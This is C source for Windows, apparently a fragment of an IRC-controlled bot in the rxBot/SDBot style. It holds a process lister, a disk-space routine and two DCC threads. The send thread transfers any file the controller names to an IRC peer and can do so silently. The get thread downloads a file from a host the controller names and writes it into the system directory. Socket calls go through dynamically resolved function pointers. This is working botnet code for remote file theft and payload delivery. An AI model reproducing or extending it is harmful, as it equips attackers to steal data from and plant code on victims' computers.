DKSPKB DiskSpaceKB(LPCSTR Drive)
{
DKSPKB dkspkb;
DKSP dksp=DiskSpace(Drive);
if(dksp.AvailableBytes == -1 || dksp.FreeBytes == -1 || dksp.TotalBytes == -1) {
sprintf(dkspkb.AvailableKB, "failed");
sprintf(dkspkb.FreeKB, "failed");
sprintf(dkspkb.TotalKB, "failed");
} else {
_snprintf(dkspkb.AvailableKB,sizeof(dkspkb.AvailableKB),"%sKB",commaI64(dksp.AvailableBytes/1024));
_snprintf(dkspkb.FreeKB,sizeof(dkspkb.FreeKB),"%sKB",commaI64(dksp.FreeBytes/1024));
_snprintf(dkspkb.TotalKB,sizeof(dkspkb.TotalKB),"%sKB",commaI64(dksp.TotalBytes/1024));
}
return (dkspkb);
}
bool ListProcesses(std::list<process_info> *lProcesses, char *filter) {
DWORD aProcesses[1024], cbNeeded, cProcesses;
if (!fEnumProcesses(aProcesses,sizeof(aProcesses),&cbNeeded))
return FALSE;
cProcesses = cbNeeded / sizeof(DWORD);
char szProcessName[MAX_PATH] = "unknown";
for ( int i = 0; i < cProcesses; i++ ) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,aProcesses[i]);
if (hProcess) {
HMODULE hMod;
PROCESS_MEMORY_COUNTERS pmc;
DWORD cbNeeded;
//char tempbuf[128];
if (fEnumProcessModules(hProcess,&hMod,sizeof(hMod),&cbNeeded)) {
fGetModuleFileNameEx(hProcess,hMod,szProcessName,sizeof(szProcessName));
process_info pInfo;
sprintf(pInfo.sProcessName,"%s",szProcessName);
pInfo.lProcessPid=aProcesses[i];
if (fGetProcessMemoryInfo(hProcess,&pmc,sizeof(pmc))) {
_snprintf(pInfo.mUsage,sizeof(pInfo.mUsage),"%s",commaI64((pmc.WorkingSetSize/1024)));
} else
_snprintf(pInfo.mUsage,sizeof(pInfo.mUsage),"Error: <%d>",GetLastError());
if (filter)
{
char ext[_MAX_EXT],file[_MAX_FNAME+_MAX_EXT];
_splitpath(pInfo.sProcessName, NULL, NULL, file, ext);
strcat(file,ext);
fprintf(stderr,"%s / %s\n",filter,file);
if (!lstrcmpi(filter,file))
{
lProcesses->push_back(pInfo);
}
}
else
lProcesses->push_back(pInfo);
}
CloseHandle(hProcess);
}
}
return TRUE;
}
DWORD WINAPI DCCSendThread(LPVOID param)
{
DCC dcc = *((DCC *)param);
DCC *dccs = (DCC *)param;
dccs->gotinfo = TRUE;
char sendbuf[IRCLINE],buffer[1024],tmpfile[MAX_PATH];
int Fsend, bytes_sent;
unsigned int move;
unsigned __int64 totalbytes = 0;
DWORD mode = 0;
SOCKET ssock;
while (1) {
if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
sprintf(sendbuf,"[DCC]: Failed to create socket.");
break;
}
SOCKADDR_IN csin, ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_port = fhtons(0);//random port
ssin.sin_addr.s_addr = INADDR_ANY;
if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != 0) {
sprintf(sendbuf,"[DCC]: Failed to bind to socket.");
break;
}
int ssin_len = sizeof(ssin);
fgetsockname(ssock, (LPSOCKADDR)&ssin, &ssin_len);
unsigned short portnum = fntohs(ssin.sin_port);
for (unsigned int i=0;i <= strlen(dcc.filename); i++)
tmpfile[i] = ((dcc.filename[i] == 32)?(95):(dcc.filename[i]));
if (flisten(ssock, 1) != 0) {
sprintf(sendbuf,"[DCC]: Failed to open socket.");
break;
}
HANDLE testfile = CreateFile(dcc.filename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (testfile == INVALID_HANDLE_VALUE) {
sprintf(sendbuf,"[DCC]: File doesn't exist.");
break;
}
int length = GetFileSize(testfile,NULL);
sprintf(sendbuf,"DCC SEND %s %i %i %i",dcc.filename,fhtonl(finet_addr(GetIP(dcc.sock))),portnum,length);
irc_privmsg(dcc.sock,dcc.sendto,sendbuf,FALSE);
TIMEVAL timeout;
timeout.tv_sec = 60;//timeout after 60 sec.
timeout.tv_usec = 0;
fd_set fd_struct;
FD_ZERO(&fd_struct);
FD_SET(ssock, &fd_struct);
if (fselect(0, &fd_struct, NULL, NULL, &timeout) <= 0) {
irc_privmsg(dcc.sock,dcc.sendto,"[DCC]: Send timeout.",dcc.notice);
break;
}
int csin_len = sizeof(csin);
if ((dcc.csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET) {
sprintf(sendbuf,"[DCC]: Unable to open socket.");
break;
}
fclosesocket(ssock);
while (length) {
Fsend = 1024;
if (Fsend>length)
Fsend=length;
move = 0-length;
memset(buffer,0,sizeof(buffer));
SetFilePointer(testfile, move, NULL, FILE_END);
ReadFile(testfile, buffer, Fsend, &mode, NULL);
bytes_sent = fsend(dcc.csock, buffer, Fsend, 0);
totalbytes += bytes_sent;
if (frecv(dcc.csock,buffer ,sizeof(buffer), 0) < 1 || bytes_sent < 1) {
irc_privmsg(dcc.sock,dcc.sendto,"[DCC]: Socket error.",dcc.notice);
addlog("[DCC]: Socket error.");
fclosesocket(dcc.csock);
clearthread(dcc.threadnum);
ExitThread(1);
}
length = length - bytes_sent;
}
if (testfile != INVALID_HANDLE_VALUE)
CloseHandle(testfile);
sprintf(sendbuf,"[DCC]: Transfer complete to IP: %s, Filename: %s (%s bytes).",finet_ntoa(csin.sin_addr),dcc.filename,commaI64(totalbytes));
break;
}
if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice);
addlog(sendbuf);
if (ssock > 0)
fclosesocket(ssock);
fclosesocket(dcc.csock);
clearthread(dcc.threadnum);
ExitThread(0);
}
DWORD WINAPI DCCGetThread(LPVOID param)
{
DCC dcc = *((DCC *)param);
DCC *dccs = (DCC *)param;
dccs->gotinfo = TRUE;
char sendbuf[IRCLINE],buffer[4096],tmpfile[MAX_PATH];;
int received = 0;
unsigned long received2;
FILE *infile;
SOCKET ssock;
GetSystemDirectory(tmpfile, sizeof(tmpfile));
sprintf(tmpfile,"%s%s",tmpfile,dcc.filename);
while (1) {
HANDLE testfile = CreateFile(tmpfile,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (testfile == INVALID_HANDLE_VALUE) {
sprintf(sendbuf,"[DCC]: Error unable to write file to disk.");
break;
}
CloseHandle(testfile);
if ((infile = fopen(tmpfile,"a+b")) == NULL) {
sprintf(sendbuf,"[DCC]: Error opening file for writing.");
break;
}
if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) {
sprintf(sendbuf,"[DCC]: Error opening socket.");
break;
}
DWORD err = 1;
while (err != 0) {
memset(buffer,0,sizeof(buffer));
err = frecv(ssock, buffer, sizeof(buffer), 0);
if (err == 0)
break;
if (err == SOCKET_ERROR) {
sprintf(sendbuf,"[DCC]: Socket error.");
irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice);
addlog(sendbuf);
fclose(infile);
fclosesocket(ssock);
clearthread(dcc.threadnum);
ExitThread(1);
}
fwrite(buffer,1,err,infile);
received = received + err;
received2 = fhtonl(received);
fsend(ssock,(char *)&received2 , 4, 0);
}
sprintf(sendbuf,"[DCC]: Transfer complete from IP: %s, Filename: %s (%s bytes).",dcc.host,dcc.filename,commaI64(received));
break;
}
if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice);
addlog(sendbuf);
if (infile != NULL)
fclose(infile);
if (ssock > 0)
fclosesocket(ssock);
clearthread(dcc.threadnum);
ExitThread(0);
}
